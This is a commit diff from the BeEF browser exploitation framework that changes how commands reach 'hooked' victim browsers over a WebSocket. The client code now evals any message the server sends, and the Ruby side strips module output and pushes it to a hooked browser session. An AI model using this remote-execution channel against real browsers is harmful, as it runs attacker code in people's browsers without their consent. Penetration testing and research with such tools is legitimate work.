Fixed issue with command execution. Now commands are executed correctly via WebSocket.
This commit is contained in:
@@ -48,11 +48,13 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
* @param: {Function} the function to execute.
|
||||
*/
|
||||
execute: function(fn) {
|
||||
if ( typeof beef.websocket == "undefined")
|
||||
if ( typeof beef.websocket == "undefined"){
|
||||
console.log("--- NO WEBSOCKETS ---");
|
||||
this.commands.push(fn);
|
||||
else
|
||||
beef.websocket.send(fn);
|
||||
|
||||
}else{
|
||||
console.log("--- WEBSOCKETS ENABLED ---");
|
||||
fn();
|
||||
}
|
||||
},
|
||||
|
||||
|
||||
|
||||
@@ -46,9 +46,8 @@ beef.websocket = {
|
||||
console.log("Connected and Helo");
|
||||
}
|
||||
this.socket.onmessage = function (message){
|
||||
//@todo append the command to head in <script> </script>
|
||||
console.log("We recive a message ' "+message.data+"'");
|
||||
eval("'"+message.data +"'");
|
||||
console.log("Received message via WS.");
|
||||
eval(message.data);
|
||||
|
||||
/*END POC*/
|
||||
}
|
||||
|
||||
@@ -52,27 +52,23 @@ module BeEF
|
||||
#@todo radoen debug this one
|
||||
|
||||
if let.getsocket(hooked_browser.session)
|
||||
|
||||
funtosend=command_module.output.gsub("beef.execute(function()","")
|
||||
funtosend=funtosend.gsub("});", "")
|
||||
funtosend=funtosend.gsub("{", "")
|
||||
funtosend=funtosend.gsub('//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//',"")
|
||||
funtosend=command_module.output.gsub('//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//',"")
|
||||
let.sent(funtosend, hooked_browser.session)
|
||||
print_info("We are sending #{funtosend}")
|
||||
#print_info("We are sending #{funtosend}")
|
||||
else
|
||||
print_info("not in else")
|
||||
@body << command_module.output + "\n\n"
|
||||
|
||||
Reference in New Issue
Block a user